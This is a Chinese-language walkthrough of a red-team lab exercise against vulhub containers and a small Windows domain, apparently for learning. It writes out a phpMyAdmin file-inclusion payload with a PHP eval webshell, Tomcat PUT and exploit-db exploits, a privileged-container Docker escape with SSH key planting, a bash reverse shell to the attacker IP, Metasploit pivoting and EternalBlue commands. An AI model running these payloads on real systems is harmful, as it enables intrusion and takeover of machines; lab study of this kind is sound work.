环境配置
网络拓扑图(仅供参考)
账号信息:
web: ubuntu:ubuntu
win7: douser:Dotest123
DC: administrator:Test2008
ip信息:
攻击机
IP:192.168.111.5
OS:Kali
靶机
Web
IP1:192.168.111.14
IP2:192.168.52.129
OS:Ubuntu
DC
IP:192.168.183.0/24
OS:Windows Server 2008
PC
IP:192.168.52.130
OS:Windows 7
Web服务器为Ubuntu,漏洞被封装在docker里,需要手动开启
s2-045
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
CVE-2017-12615(tomcat put上传)
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cve-2018-12613(phpmyadmin文件包含漏洞)
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
知识点:
1.st漏洞利用 2.phpmyadmin 4.8.1文件包含
3.tomcat getshell 4.docker逃逸 ssh 免密登录
5.ms14-068 域提权漏洞 6.bash 一句话反弹shell
7.sc 服务计划任务 8.token 降权收集信息
外网渗透
nmap扫描
nmap 192.168.111.14 -A
得到
得到对应端口服务
22:ssh
2001:struts2
2002:Tomcat (version:8.5.19)
2003:phpmyadmin(version:4.8.1)
2001:struts2漏洞利用
直接利用工具getshell
2002:Tomcat漏洞利用
CVE-2017-12615
Tomcat PUT上传漏洞,当 Tomcat运行在Windows或linux操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
先抓包:
修改方法为PUT,上传冰蝎马
冰蝎连接
CVE-2017-12617
检索版本漏洞
searchsploit tomcat 8.5.19
将其复制到桌面
searchsploit -m /usr/share/exploitdb/exploits/jsp/webapps/42966.py
漏洞检测
python3 42966.py -u http://192.168.111.14:2002/
发现存在漏洞,获取shell
python3 42966.py -u http://192.168.111.14:2002/ -p pwn
2003:phpmyadmin漏洞利用
CVE-2018-12613
先任意文件读
index.php?target=db_sql.php?/../../../../../../../../etc/passwd
每次登录phpmyadmin系统的时候,系统就会产生一个 sess_sessionID
文件,然后在里面执行的操作,会被记录到这个文件内(UNIX系统中存放路径为 /tmp/sess_[当前会话session值]
)
运行
select '<?php @eval($_GET["cmd"])?>' ;
之后利用
?target=db_sql.php%253f/../../../../../../../../tmp/sess_117093d081ee0d99edc67065a4df511c&cmd=phpinfo();
Docker逃逸
实战中我们需要判断服务器是否运行在docker中,常用的判断方法有两种:
是否存在.dockerenv文件:
docker环境下存在:ls -alh /.dockerenv 文件
查询系统进程的cgroup信息:
docker环境下 cat /proc/1/cgroup
既然判断出是docker环境,我们就需要进行docker逃逸
特权模式—privileged+ssh 免密码 逃逸
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
挂载目录
fdisk -l 查看磁盘文件
mkdir /test 新建目录以备挂载
mount /dev/sda1 /test 将宿主机/dev/sda1 目录挂载至容器内 /test,即可写文件获取权限或数据
查看一下是否挂载成功ls /test
生成密钥
kali上生成密钥文件
ssh-keygen -f test
chmod 600 test //对test赋权,只有拥有者有读写权限。
写入密钥
冰蝎shell不是很好操作,反弹一个shell
bash -i >& /dev/tcp/192.168.111.5/9999 0>&1
利用冰蝎上传shell.sh
chmod +x shell.sh //添加可执行
bash shell.sh //运行
将 ssh秘钥 写入到.ssh目录里面并将文件命名为authorized_keys
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
// -avx 将权限也一起复制
echo > authorized_keys //将内容清空
echo 'kali生成的.pub内容' > authorized_keys //将ssh秘钥写入
SSH登录
ssh -i test ubuntu@192.168.111.14
成功逃逸
内网渗透
MSF上线
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.5
set lport 4444
exploit
在目标机上运行链接获得meterpreter
信息搜集
shell中ip a
发现另一个网段
添加路由
run autoroute -s 192.168.52.0/24
run autoroute -p
内网扫描
注:由于我在设置为192.168.52.0/24
网段时无法扫描到DC,于是将内网网段更改为192.168.183.0/24
使用ms17-010扫描一下网段
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.128-130
run
发现两台主机:
192.168.183.128 WIN7
192.168.183.130 Windows Server 2008
永恒之蓝利用
setg Proxies socks5:192.168.111.14:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.128
set lport 4444
run
网上师傅们都从这个点利用成功了,但我这里没有成功
敏感信息泄露
查看一下ubuntu的命令历史记录
cat .bash_history | grep 192.168.183.129
这个地方泄露了win7的账号密码
我们挂一个socks5代理,利用wmiexec进行连接
proxychains python3 wmiexec.py 'demo.com/douser:Dotest123@192.168.183.132'
认证失败
总结
按照网上师傅的路线,后续是:
- 内网信息搜集(降权),不是域用户没有权限执行域命令
- ms14-068进攻域控
- 痕迹清理
这里我没有获取到WIN7的shell导致后续无法实现,但这个过程也学到了很多,之后再检查一下哪里出了问题吧。
参考文章:
http://www.yongsheng.site/2021/04/12/ATT&CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA%EF%BC%88%E5%9B%9B%EF%BC%89/
https://blog.csdn.net/qq_36241198/article/details/121619400
https://www.erikten.cn/posts/5ac1195.html#searchModal